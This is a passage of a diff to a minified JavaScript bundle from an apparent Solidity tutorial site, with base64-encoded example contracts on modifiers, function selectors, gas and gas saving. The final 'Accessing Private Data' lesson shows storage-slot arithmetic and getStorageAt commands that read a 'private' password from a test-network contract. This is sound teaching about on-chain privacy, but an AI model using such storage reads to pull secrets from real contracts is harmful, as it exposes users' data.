Solidity",qw=[{fileName:"FunctionModifier.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZ1bmN0aW9uTW9kaWZpZXIgewogICAgLy8gV2Ugd2lsbCB1c2UgdGhlc2UgdmFyaWFibGVzIHRvIGRlbW9uc3RyYXRlIGhvdyB0byB1c2UKICAgIC8vIG1vZGlmaWVycy4KICAgIGFkZHJlc3MgcHVibGljIG93bmVyOwogICAgdWludDI1NiBwdWJsaWMgeCA9IDEwOwogICAgYm9vbCBwdWJsaWMgbG9ja2VkOwoKICAgIGNvbnN0cnVjdG9yKCkgewogICAgICAgIC8vIFNldCB0aGUgdHJhbnNhY3Rpb24gc2VuZGVyIGFzIHRoZSBvd25lciBvZiB0aGUgY29udHJhY3QuCiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIC8vIE1vZGlmaWVyIHRvIGNoZWNrIHRoYXQgdGhlIGNhbGxlciBpcyB0aGUgb3duZXIgb2YKICAgIC8vIHRoZSBjb250cmFjdC4KICAgIG1vZGlmaWVyIG9ubHlPd25lcigpIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gb3duZXIsICJOb3Qgb3duZXIiKTsKICAgICAgICAvLyBVbmRlcnNjb3JlIGlzIGEgc3BlY2lhbCBjaGFyYWN0ZXIgb25seSB1c2VkIGluc2lkZQogICAgICAgIC8vIGEgZnVuY3Rpb24gbW9kaWZpZXIgYW5kIGl0IHRlbGxzIFNvbGlkaXR5IHRvCiAgICAgICAgLy8gZXhlY3V0ZSB0aGUgcmVzdCBvZiB0aGUgY29kZS4KICAgICAgICBfOwogICAgfQoKICAgIC8vIE1vZGlmaWVycyBjYW4gdGFrZSBpbnB1dHMuIFRoaXMgbW9kaWZpZXIgY2hlY2tzIHRoYXQgdGhlCiAgICAvLyBhZGRyZXNzIHBhc3NlZCBpbiBpcyBub3QgdGhlIHplcm8gYWRkcmVzcy4KICAgIG1vZGlmaWVyIHZhbGlkQWRkcmVzcyhhZGRyZXNzIF9hZGRyKSB7CiAgICAgICAgcmVxdWlyZShfYWRkciAhPSBhZGRyZXNzKDApLCAiTm90IHZhbGlkIGFkZHJlc3MiKTsKICAgICAgICBfOwogICAgfQoKICAgIGZ1bmN0aW9uIGNoYW5nZU93bmVyKGFkZHJlc3MgX25ld093bmVyKQogICAgICAgIHB1YmxpYwogICAgICAgIG9ubHlPd25lcgogICAgICAgIHZhbGlkQWRkcmVzcyhfbmV3T3duZXIpCiAgICB7CiAgICAgICAgb3duZXIgPSBfbmV3T3duZXI7CiAgICB9CgogICAgLy8gTW9kaWZpZXJzIGNhbiBiZSBjYWxsZWQgYmVmb3JlIGFuZCAvIG9yIGFmdGVyIGEgZnVuY3Rpb24uCiAgICAvLyBUaGlzIG1vZGlmaWVyIHByZXZlbnRzIGEgZnVuY3Rpb24gZnJvbSBiZWluZyBjYWxsZWQgd2hpbGUKICAgIC8vIGl0IGlzIHN0aWxsIGV4ZWN1dGluZy4KICAgIG1vZGlmaWVyIG5vUmVlbnRyYW5jeSgpIHsKICAgICAgICByZXF1aXJlKCFsb2NrZWQsICJObyByZWVudHJhbmN5Iik7CgogICAgICAgIGxvY2tlZCA9IHRydWU7CiAgICAgICAgXzsKICAgICAgICBsb2NrZWQgPSBmYWxzZTsKICAgIH0KCiAgICBmdW5jdGlvbiBkZWNyZW1lbnQodWludDI1NiBpKSBwdWJsaWMgbm9SZWVudHJhbmN5IHsKICAgICAgICB4IC09IGk7CgogICAgICAgIGlmIChpID4gMSkgewogICAgICAgICAgICBkZWNyZW1lbnQoaSAtIDEpOwogICAgICAgIH0KICAgIH0KfQo="}],sk=`

                              Modifiers are code that can be run before and / or after a function call.

                              +`,_w=({prev:s,next:a})=>r.jsx(A,{version:Dw,title:Ew,description:Qw,html:Uw,prev:s,next:a,codes:Tw}),Lw="0.8.24",Ow="Function Modifier",Pw="Example of how to write function modifier in Solidity",$w=[{fileName:"FunctionModifier.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZ1bmN0aW9uTW9kaWZpZXIgewogICAgLy8gV2Ugd2lsbCB1c2UgdGhlc2UgdmFyaWFibGVzIHRvIGRlbW9uc3RyYXRlIGhvdyB0byB1c2UKICAgIC8vIG1vZGlmaWVycy4KICAgIGFkZHJlc3MgcHVibGljIG93bmVyOwogICAgdWludDI1NiBwdWJsaWMgeCA9IDEwOwogICAgYm9vbCBwdWJsaWMgbG9ja2VkOwoKICAgIGNvbnN0cnVjdG9yKCkgewogICAgICAgIC8vIFNldCB0aGUgdHJhbnNhY3Rpb24gc2VuZGVyIGFzIHRoZSBvd25lciBvZiB0aGUgY29udHJhY3QuCiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIC8vIE1vZGlmaWVyIHRvIGNoZWNrIHRoYXQgdGhlIGNhbGxlciBpcyB0aGUgb3duZXIgb2YKICAgIC8vIHRoZSBjb250cmFjdC4KICAgIG1vZGlmaWVyIG9ubHlPd25lcigpIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gb3duZXIsICJOb3Qgb3duZXIiKTsKICAgICAgICAvLyBVbmRlcnNjb3JlIGlzIGEgc3BlY2lhbCBjaGFyYWN0ZXIgb25seSB1c2VkIGluc2lkZQogICAgICAgIC8vIGEgZnVuY3Rpb24gbW9kaWZpZXIgYW5kIGl0IHRlbGxzIFNvbGlkaXR5IHRvCiAgICAgICAgLy8gZXhlY3V0ZSB0aGUgcmVzdCBvZiB0aGUgY29kZS4KICAgICAgICBfOwogICAgfQoKICAgIC8vIE1vZGlmaWVycyBjYW4gdGFrZSBpbnB1dHMuIFRoaXMgbW9kaWZpZXIgY2hlY2tzIHRoYXQgdGhlCiAgICAvLyBhZGRyZXNzIHBhc3NlZCBpbiBpcyBub3QgdGhlIHplcm8gYWRkcmVzcy4KICAgIG1vZGlmaWVyIHZhbGlkQWRkcmVzcyhhZGRyZXNzIF9hZGRyKSB7CiAgICAgICAgcmVxdWlyZShfYWRkciAhPSBhZGRyZXNzKDApLCAiTm90IHZhbGlkIGFkZHJlc3MiKTsKICAgICAgICBfOwogICAgfQoKICAgIGZ1bmN0aW9uIGNoYW5nZU93bmVyKGFkZHJlc3MgX25ld093bmVyKQogICAgICAgIHB1YmxpYwogICAgICAgIG9ubHlPd25lcgogICAgICAgIHZhbGlkQWRkcmVzcyhfbmV3T3duZXIpCiAgICB7CiAgICAgICAgb3duZXIgPSBfbmV3T3duZXI7CiAgICB9CgogICAgLy8gTW9kaWZpZXJzIGNhbiBiZSBjYWxsZWQgYmVmb3JlIGFuZCAvIG9yIGFmdGVyIGEgZnVuY3Rpb24uCiAgICAvLyBUaGlzIG1vZGlmaWVyIHByZXZlbnRzIGEgZnVuY3Rpb24gZnJvbSBiZWluZyBjYWxsZWQgd2hpbGUKICAgIC8vIGl0IGlzIHN0aWxsIGV4ZWN1dGluZy4KICAgIG1vZGlmaWVyIG5vUmVlbnRyYW5jeSgpIHsKICAgICAgICByZXF1aXJlKCFsb2NrZWQsICJObyByZWVudHJhbmN5Iik7CgogICAgICAgIGxvY2tlZCA9IHRydWU7CiAgICAgICAgXzsKICAgICAgICBsb2NrZWQgPSBmYWxzZTsKICAgIH0KCiAgICBmdW5jdGlvbiBkZWNyZW1lbnQodWludDI1NiBpKSBwdWJsaWMgbm9SZWVudHJhbmN5IHsKICAgICAgICB4IC09IGk7CgogICAgICAgIGlmIChpID4gMSkgewogICAgICAgICAgICBkZWNyZW1lbnQoaSAtIDEpOwogICAgICAgIH0KICAgIH0KfQo="}],qw=`

                              Modifiers are code that can be run before and / or after a function call.

                              Modifiers can be used to:

                              • Restrict access
                                • @@ -9128,7 +9128,7 @@ assertion probably means that there is a bug. } } } -`,ak=({prev:s,next:a})=>r.jsx(A,{version:Ow,title:Pw,description:$w,html:sk,prev:s,next:a,codes:qw}),nk="0.8.24",lk="Function Selector",pk="Example of how function selectors are computed",ek=[{fileName:"FunctionSelector.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZ1bmN0aW9uU2VsZWN0b3IgewogICAgLyoKICAgICJ0cmFuc2ZlcihhZGRyZXNzLHVpbnQyNTYpIgogICAgMHhhOTA1OWNiYgogICAgInRyYW5zZmVyRnJvbShhZGRyZXNzLGFkZHJlc3MsdWludDI1NikiCiAgICAweDIzYjg3MmRkCiAgICAqLwogICAgZnVuY3Rpb24gZ2V0U2VsZWN0b3Ioc3RyaW5nIGNhbGxkYXRhIF9mdW5jKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzNCkKICAgIHsKICAgICAgICByZXR1cm4gYnl0ZXM0KGtlY2NhazI1NihieXRlcyhfZnVuYykpKTsKICAgIH0KfQo="}],ck=`

                                When a function is called, the first 4 bytes of calldata specifies which function to call.

                                +`,sk=({prev:s,next:a})=>r.jsx(A,{version:Lw,title:Ow,description:Pw,html:qw,prev:s,next:a,codes:$w}),ak="0.8.24",nk="Function Selector",lk="Example of how function selectors are computed",pk=[{fileName:"FunctionSelector.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZ1bmN0aW9uU2VsZWN0b3IgewogICAgLyoKICAgICJ0cmFuc2ZlcihhZGRyZXNzLHVpbnQyNTYpIgogICAgMHhhOTA1OWNiYgogICAgInRyYW5zZmVyRnJvbShhZGRyZXNzLGFkZHJlc3MsdWludDI1NikiCiAgICAweDIzYjg3MmRkCiAgICAqLwogICAgZnVuY3Rpb24gZ2V0U2VsZWN0b3Ioc3RyaW5nIGNhbGxkYXRhIF9mdW5jKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzNCkKICAgIHsKICAgICAgICByZXR1cm4gYnl0ZXM0KGtlY2NhazI1NihieXRlcyhfZnVuYykpKTsKICAgIH0KfQo="}],ek=`

                                When a function is called, the first 4 bytes of calldata specifies which function to call.

                                This 4 bytes is called a function selector.

                                Take for example, this code below. It uses call to execute transfer on a contract at the address addr.

                                addr.call(abi.encodeWithSignature("transfer(address,uint256)", 0xSomeAddress, 123))
@@ -9153,7 +9153,7 @@ assertion probably means that there is a bug.
         return bytes4(keccak256(bytes(_func)));
     }
 }
-
                                `,tk=({prev:s,next:a})=>r.jsx(A,{version:nk,title:lk,description:pk,html:ck,prev:s,next:a,codes:ek}),ok="0.8.24",rk="Gas",ik="Example of gas and gas limit in Solidity",gk=[{fileName:"Gas.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEdhcyB7CiAgICB1aW50MjU2IHB1YmxpYyBpID0gMDsKCiAgICAvLyBVc2luZyB1cCBhbGwgb2YgdGhlIGdhcyB0aGF0IHlvdSBzZW5kIGNhdXNlcyB5b3VyIHRyYW5zYWN0aW9uIHRvIGZhaWwuCiAgICAvLyBTdGF0ZSBjaGFuZ2VzIGFyZSB1bmRvbmUuCiAgICAvLyBHYXMgc3BlbnQgYXJlIG5vdCByZWZ1bmRlZC4KICAgIGZ1bmN0aW9uIGZvcmV2ZXIoKSBwdWJsaWMgewogICAgICAgIC8vIEhlcmUgd2UgcnVuIGEgbG9vcCB1bnRpbCBhbGwgb2YgdGhlIGdhcyBhcmUgc3BlbnQKICAgICAgICAvLyBhbmQgdGhlIHRyYW5zYWN0aW9uIGZhaWxzCiAgICAgICAgd2hpbGUgKHRydWUpIHsKICAgICAgICAgICAgaSArPSAxOwogICAgICAgIH0KICAgIH0KfQo="}],hk=`

                                How much ether do you need to pay for a transaction?

                                +`,ck=({prev:s,next:a})=>r.jsx(A,{version:ak,title:nk,description:lk,html:ek,prev:s,next:a,codes:pk}),tk="0.8.24",ok="Gas",rk="Example of gas and gas limit in Solidity",ik=[{fileName:"Gas.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEdhcyB7CiAgICB1aW50MjU2IHB1YmxpYyBpID0gMDsKCiAgICAvLyBVc2luZyB1cCBhbGwgb2YgdGhlIGdhcyB0aGF0IHlvdSBzZW5kIGNhdXNlcyB5b3VyIHRyYW5zYWN0aW9uIHRvIGZhaWwuCiAgICAvLyBTdGF0ZSBjaGFuZ2VzIGFyZSB1bmRvbmUuCiAgICAvLyBHYXMgc3BlbnQgYXJlIG5vdCByZWZ1bmRlZC4KICAgIGZ1bmN0aW9uIGZvcmV2ZXIoKSBwdWJsaWMgewogICAgICAgIC8vIEhlcmUgd2UgcnVuIGEgbG9vcCB1bnRpbCBhbGwgb2YgdGhlIGdhcyBhcmUgc3BlbnQKICAgICAgICAvLyBhbmQgdGhlIHRyYW5zYWN0aW9uIGZhaWxzCiAgICAgICAgd2hpbGUgKHRydWUpIHsKICAgICAgICAgICAgaSArPSAxOwogICAgICAgIH0KICAgIH0KfQo="}],gk=`

                                How much ether do you need to pay for a transaction?

                                You pay gas spent * gas price amount of ether, where

                                • gas is a unit of computation
                                  • @@ -9185,7 +9185,7 @@ assertion probably means that there is a bug. } } } -`,Ik=({prev:s,next:a})=>r.jsx(A,{version:ok,title:rk,description:ik,html:hk,prev:s,next:a,codes:gk}),dk="0.8.24",Ck="Gas Saving Techniques",jk="Some gas saving techniques",Ak=[{fileName:"GasGolf.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIGdhcyBnb2xmCmNvbnRyYWN0IEdhc0dvbGYgewogICAgLy8gc3RhcnQgLSA1MDkwOCBnYXMKICAgIC8vIHVzZSBjYWxsZGF0YSAtIDQ5MTYzIGdhcwogICAgLy8gbG9hZCBzdGF0ZSB2YXJpYWJsZXMgdG8gbWVtb3J5IC0gNDg5NTIgZ2FzCiAgICAvLyBzaG9ydCBjaXJjdWl0IC0gNDg2MzQgZ2FzCiAgICAvLyBsb29wIGluY3JlbWVudHMgLSA0ODI0NCBnYXMKICAgIC8vIGNhY2hlIGFycmF5IGxlbmd0aCAtIDQ4MjA5IGdhcwogICAgLy8gbG9hZCBhcnJheSBlbGVtZW50cyB0byBtZW1vcnkgLSA0ODA0NyBnYXMKICAgIC8vIHVuY2hlY2sgaSBvdmVyZmxvdy91bmRlcmZsb3cgLSA0NzMwOSBnYXMKCiAgICB1aW50MjU2IHB1YmxpYyB0b3RhbDsKCiAgICAvLyBzdGFydCAtIG5vdCBnYXMgb3B0aW1pemVkCiAgICAvLyBmdW5jdGlvbiBzdW1JZkV2ZW5BbmRMZXNzVGhhbjk5KHVpbnRbXSBtZW1vcnkgbnVtcykgZXh0ZXJuYWwgewogICAgLy8gICAgIGZvciAodWludCBpID0gMDsgaSA8IG51bXMubGVuZ3RoOyBpICs9IDEpIHsKICAgIC8vICAgICAgICAgYm9vbCBpc0V2ZW4gPSBudW1zW2ldICUgMiA9PSAwOwogICAgLy8gICAgICAgICBib29sIGlzTGVzc1RoYW45OSA9IG51bXNbaV0gPCA5OTsKICAgIC8vICAgICAgICAgaWYgKGlzRXZlbiAmJiBpc0xlc3NUaGFuOTkpIHsKICAgIC8vICAgICAgICAgICAgIHRvdGFsICs9IG51bXNbaV07CiAgICAvLyAgICAgICAgIH0KICAgIC8vICAgICB9CiAgICAvLyB9CgogICAgLy8gZ2FzIG9wdGltaXplZAogICAgLy8gWzEsIDIsIDMsIDQsIDUsIDEwMF0KICAgIGZ1bmN0aW9uIHN1bUlmRXZlbkFuZExlc3NUaGFuOTkodWludDI1NltdIGNhbGxkYXRhIG51bXMpIGV4dGVybmFsIHsKICAgICAgICB1aW50MjU2IF90b3RhbCA9IHRvdGFsOwogICAgICAgIHVpbnQyNTYgbGVuID0gbnVtcy5sZW5ndGg7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IGxlbjspIHsKICAgICAgICAgICAgdWludDI1NiBudW0gPSBudW1zW2ldOwogICAgICAgICAgICBpZiAobnVtICUgMiA9PSAwICYmIG51bSA8IDk5KSB7CiAgICAgICAgICAgICAgICBfdG90YWwgKz0gbnVtOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgICAgICArK2k7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHRvdGFsID0gX3RvdGFsOwogICAgfQp9Cg=="}],uk=`

                                  Some gas saving techniques.

                                  +`,hk=({prev:s,next:a})=>r.jsx(A,{version:tk,title:ok,description:rk,html:gk,prev:s,next:a,codes:ik}),Ik="0.8.24",dk="Gas Saving Techniques",Ck="Some gas saving techniques",jk=[{fileName:"GasGolf.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIGdhcyBnb2xmCmNvbnRyYWN0IEdhc0dvbGYgewogICAgLy8gc3RhcnQgLSA1MDkwOCBnYXMKICAgIC8vIHVzZSBjYWxsZGF0YSAtIDQ5MTYzIGdhcwogICAgLy8gbG9hZCBzdGF0ZSB2YXJpYWJsZXMgdG8gbWVtb3J5IC0gNDg5NTIgZ2FzCiAgICAvLyBzaG9ydCBjaXJjdWl0IC0gNDg2MzQgZ2FzCiAgICAvLyBsb29wIGluY3JlbWVudHMgLSA0ODI0NCBnYXMKICAgIC8vIGNhY2hlIGFycmF5IGxlbmd0aCAtIDQ4MjA5IGdhcwogICAgLy8gbG9hZCBhcnJheSBlbGVtZW50cyB0byBtZW1vcnkgLSA0ODA0NyBnYXMKICAgIC8vIHVuY2hlY2sgaSBvdmVyZmxvdy91bmRlcmZsb3cgLSA0NzMwOSBnYXMKCiAgICB1aW50MjU2IHB1YmxpYyB0b3RhbDsKCiAgICAvLyBzdGFydCAtIG5vdCBnYXMgb3B0aW1pemVkCiAgICAvLyBmdW5jdGlvbiBzdW1JZkV2ZW5BbmRMZXNzVGhhbjk5KHVpbnRbXSBtZW1vcnkgbnVtcykgZXh0ZXJuYWwgewogICAgLy8gICAgIGZvciAodWludCBpID0gMDsgaSA8IG51bXMubGVuZ3RoOyBpICs9IDEpIHsKICAgIC8vICAgICAgICAgYm9vbCBpc0V2ZW4gPSBudW1zW2ldICUgMiA9PSAwOwogICAgLy8gICAgICAgICBib29sIGlzTGVzc1RoYW45OSA9IG51bXNbaV0gPCA5OTsKICAgIC8vICAgICAgICAgaWYgKGlzRXZlbiAmJiBpc0xlc3NUaGFuOTkpIHsKICAgIC8vICAgICAgICAgICAgIHRvdGFsICs9IG51bXNbaV07CiAgICAvLyAgICAgICAgIH0KICAgIC8vICAgICB9CiAgICAvLyB9CgogICAgLy8gZ2FzIG9wdGltaXplZAogICAgLy8gWzEsIDIsIDMsIDQsIDUsIDEwMF0KICAgIGZ1bmN0aW9uIHN1bUlmRXZlbkFuZExlc3NUaGFuOTkodWludDI1NltdIGNhbGxkYXRhIG51bXMpIGV4dGVybmFsIHsKICAgICAgICB1aW50MjU2IF90b3RhbCA9IHRvdGFsOwogICAgICAgIHVpbnQyNTYgbGVuID0gbnVtcy5sZW5ndGg7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IGxlbjspIHsKICAgICAgICAgICAgdWludDI1NiBudW0gPSBudW1zW2ldOwogICAgICAgICAgICBpZiAobnVtICUgMiA9PSAwICYmIG51bSA8IDk5KSB7CiAgICAgICAgICAgICAgICBfdG90YWwgKz0gbnVtOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgICAgICArK2k7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHRvdGFsID0gX3RvdGFsOwogICAgfQp9Cg=="}],Ak=`

                                  Some gas saving techniques.

                                  • Replacing memory with calldata
                                  • Loading state variable to memory
                                    • @@ -9239,7 +9239,7 @@ assertion probably means that there is a bug. total = _total; } } -`,yk=({prev:s,next:a})=>r.jsx(A,{version:dk,title:Ck,description:jk,html:uk,prev:s,next:a,codes:Ak}),mk="0.8.24",bk="Accessing Private Data",wk="An example of accessing private data from a Solidity smart contract",kk=[{fileName:"Vault.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCk5vdGU6IGNhbm5vdCB1c2Ugd2ViMyBvbiBKVk0sIHNvIHVzZSB0aGUgY29udHJhY3QgZGVwbG95ZWQgb24gR29lcmxpCk5vdGU6IGJyb3dzZXIgV2ViMyBpcyBvbGQgc28gdXNlIFdlYjMgZnJvbSB0cnVmZmxlIGNvbnNvbGUKCkNvbnRyYWN0IGRlcGxveWVkIG9uIEdvZXJsaQoweDUzNEU0Q2UwZmZGNzc5NTEzNzkzY2ZkNzAzMDhBRjE5NTgyN0JEMzEKKi8KCi8qCiMgU3RvcmFnZQotIDIgKiogMjU2IHNsb3RzCi0gMzIgYnl0ZXMgZm9yIGVhY2ggc2xvdAotIGRhdGEgaXMgc3RvcmVkIHNlcXVlbnRpYWxseSBpbiB0aGUgb3JkZXIgb2YgZGVjbGFyYXRpb24KLSBzdG9yYWdlIGlzIG9wdGltaXplZCB0byBzYXZlIHNwYWNlLiBJZiBuZWlnaGJvcmluZyB2YXJpYWJsZXMgZml0IGluIGEgc2luZ2xlCiAgMzIgYnl0ZXMsIHRoZW4gdGhleSBhcmUgcGFja2VkIGludG8gdGhlIHNhbWUgc2xvdCwgc3RhcnRpbmcgZnJvbSB0aGUgcmlnaHQKKi8KCmNvbnRyYWN0IFZhdWx0IHsKICAgIC8vIHNsb3QgMAogICAgdWludDI1NiBwdWJsaWMgY291bnQgPSAxMjM7CiAgICAvLyBzbG90IDEKICAgIGFkZHJlc3MgcHVibGljIG93bmVyID0gbXNnLnNlbmRlcjsKICAgIGJvb2wgcHVibGljIGlzVHJ1ZSA9IHRydWU7CiAgICB1aW50MTYgcHVibGljIHUxNiA9IDMxOwogICAgLy8gc2xvdCAyCiAgICBieXRlczMyIHByaXZhdGUgcGFzc3dvcmQ7CgogICAgLy8gY29uc3RhbnRzIGRvIG5vdCB1c2Ugc3RvcmFnZQogICAgdWludDI1NiBwdWJsaWMgY29uc3RhbnQgc29tZUNvbnN0ID0gMTIzOwoKICAgIC8vIHNsb3QgMywgNCwgNSAob25lIGZvciBlYWNoIGFycmF5IGVsZW1lbnQpCiAgICBieXRlczMyWzNdIHB1YmxpYyBkYXRhOwoKICAgIHN0cnVjdCBVc2VyIHsKICAgICAgICB1aW50MjU2IGlkOwogICAgICAgIGJ5dGVzMzIgcGFzc3dvcmQ7CiAgICB9CgogICAgLy8gc2xvdCA2IC0gbGVuZ3RoIG9mIGFycmF5CiAgICAvLyBzdGFydGluZyBmcm9tIHNsb3QgaGFzaCg2KSAtIGFycmF5IGVsZW1lbnRzCiAgICAvLyBzbG90IHdoZXJlIGFycmF5IGVsZW1lbnQgaXMgc3RvcmVkID0ga2VjY2FrMjU2KHNsb3QpKSArIChpbmRleCAqIGVsZW1lbnRTaXplKQogICAgLy8gd2hlcmUgc2xvdCA9IDYgYW5kIGVsZW1lbnRTaXplID0gMiAoMSAodWludCkgKyAgMSAoYnl0ZXMzMikpCiAgICBVc2VyW10gcHJpdmF0ZSB1c2VyczsKCiAgICAvLyBzbG90IDcgLSBlbXB0eQogICAgLy8gZW50cmllcyBhcmUgc3RvcmVkIGF0IGhhc2goa2V5LCBzbG90KQogICAgLy8gd2hlcmUgc2xvdCA9IDcsIGtleSA9IG1hcCBrZXkKICAgIG1hcHBpbmcodWludDI1NiA9PiBVc2VyKSBwcml2YXRlIGlkVG9Vc2VyOwoKICAgIGNvbnN0cnVjdG9yKGJ5dGVzMzIgX3Bhc3N3b3JkKSB7CiAgICAgICAgcGFzc3dvcmQgPSBfcGFzc3dvcmQ7CiAgICB9CgogICAgZnVuY3Rpb24gYWRkVXNlcihieXRlczMyIF9wYXNzd29yZCkgcHVibGljIHsKICAgICAgICBVc2VyIG1lbW9yeSB1c2VyID0gVXNlcih7aWQ6IHVzZXJzLmxlbmd0aCwgcGFzc3dvcmQ6IF9wYXNzd29yZH0pOwoKICAgICAgICB1c2Vycy5wdXNoKHVzZXIpOwogICAgICAgIGlkVG9Vc2VyW3VzZXIuaWRdID0gdXNlcjsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRBcnJheUxvY2F0aW9uKHVpbnQyNTYgc2xvdCwgdWludDI1NiBpbmRleCwgdWludDI1NiBlbGVtZW50U2l6ZSkKICAgICAgICBwdWJsaWMKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAodWludDI1NikKICAgIHsKICAgICAgICByZXR1cm4KICAgICAgICAgICAgdWludDI1NihrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChzbG90KSkpICsgKGluZGV4ICogZWxlbWVudFNpemUpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldE1hcExvY2F0aW9uKHVpbnQyNTYgc2xvdCwgdWludDI1NiBrZXkpCiAgICAgICAgcHVibGljCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIHVpbnQyNTYoa2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQoa2V5LCBzbG90KSkpOwogICAgfQp9CgovKgpzbG90IDAgLSBjb3VudAp3ZWIzLmV0aC5nZXRTdG9yYWdlQXQoIjB4NTM0RTRDZTBmZkY3Nzk1MTM3OTNjZmQ3MDMwOEFGMTk1ODI3QkQzMSIsIDAsIGNvbnNvbGUubG9nKQpzbG90IDEgLSB1MTYsIGlzVHJ1ZSwgb3duZXIKd2ViMy5ldGguZ2V0U3RvcmFnZUF0KCIweDUzNEU0Q2UwZmZGNzc5NTEzNzkzY2ZkNzAzMDhBRjE5NTgyN0JEMzEiLCAxLCBjb25zb2xlLmxvZykKc2xvdCAyIC0gcGFzc3dvcmQKd2ViMy5ldGguZ2V0U3RvcmFnZUF0KCIweDUzNEU0Q2UwZmZGNzc5NTEzNzkzY2ZkNzAzMDhBRjE5NTgyN0JEMzEiLCAyLCBjb25zb2xlLmxvZykKCnNsb3QgNiAtIGFycmF5IGxlbmd0aApnZXRBcnJheUxvY2F0aW9uKDYsIDAsIDIpCndlYjMudXRpbHMubnVtYmVyVG9IZXgoIjExMTQxNDA3NzgxNTg2MzQwMDUxMDAwNDA2NDYyOTk3MzU5NTk2MTU3OTE3MzY2NTU4OTIyNDIwMzUwMzY2MjE0OTM3MzcyNDk4NjY4NyIpCk5vdGU6IFdlIGNhbiBhbHNvIHVzZSB3ZWIzIHRvIGdldCBkYXRhIGxvY2F0aW9uCndlYjMudXRpbHMuc29saWRpdHlTaGEzKHsgdHlwZTogInVpbnQiLCB2YWx1ZTogNiB9KQoxc3QgdXNlcgp3ZWIzLmV0aC5nZXRTdG9yYWdlQXQoIjB4NTM0RTRDZTBmZkY3Nzk1MTM3OTNjZmQ3MDMwOEFGMTk1ODI3QkQzMSIsICIweGY2NTIyMjIzMTNlMjg0NTk1MjhkOTIwYjY1MTE1YzE2YzA0ZjNlZmM4MmFhZWRjOTdiZTU5ZjNmMzc3YzBkM2YiLCBjb25zb2xlLmxvZykKd2ViMy5ldGguZ2V0U3RvcmFnZUF0KCIweDUzNEU0Q2UwZmZGNzc5NTEzNzkzY2ZkNzAzMDhBRjE5NTgyN0JEMzEiLCAiMHhmNjUyMjIyMzEzZTI4NDU5NTI4ZDkyMGI2NTExNWMxNmMwNGYzZWZjODJhYWVkYzk3YmU1OWYzZjM3N2MwZDQwIiwgY29uc29sZS5sb2cpCk5vdGU6IHVzZSB3ZWIzLnRvQXNjaWkgdG8gY29udmVydCBieXRlczMyIHRvIGFscGhhYmV0CjJuZCB1c2VyCndlYjMuZXRoLmdldFN0b3JhZ2VBdCgiMHg1MzRFNENlMGZmRjc3OTUxMzc5M2NmZDcwMzA4QUYxOTU4MjdCRDMxIiwgIjB4ZjY1MjIyMjMxM2UyODQ1OTUyOGQ5MjBiNjUxMTVjMTZjMDRmM2VmYzgyYWFlZGM5N2JlNTlmM2YzNzdjMGQ0MSIsIGNvbnNvbGUubG9nKQp3ZWIzLmV0aC5nZXRTdG9yYWdlQXQoIjB4NTM0RTRDZTBmZkY3Nzk1MTM3OTNjZmQ3MDMwOEFGMTk1ODI3QkQzMSIsICIweGY2NTIyMjIzMTNlMjg0NTk1MjhkOTIwYjY1MTE1YzE2YzA0ZjNlZmM4MmFhZWRjOTdiZTU5ZjNmMzc3YzBkNDIiLCBjb25zb2xlLmxvZykKCnNsb3QgNyAtIGVtcHR5CmdldE1hcExvY2F0aW9uKDcsIDEpCndlYjMudXRpbHMubnVtYmVyVG9IZXgoIjgxMjIyMTkxOTg2MjI2ODA5MTAzMjc5MTE5OTk0NzA3ODY4MzIyODU1NzQxODE5OTA1OTA0NDE3OTUzMDkyNjY2Njk5MDk2OTYzMTEyIikKTm90ZTogV2UgY2FuIGFsc28gdXNlIHdlYjMgdG8gZ2V0IGRhdGEgbG9jYXRpb24Kd2ViMy51dGlscy5zb2xpZGl0eVNoYTM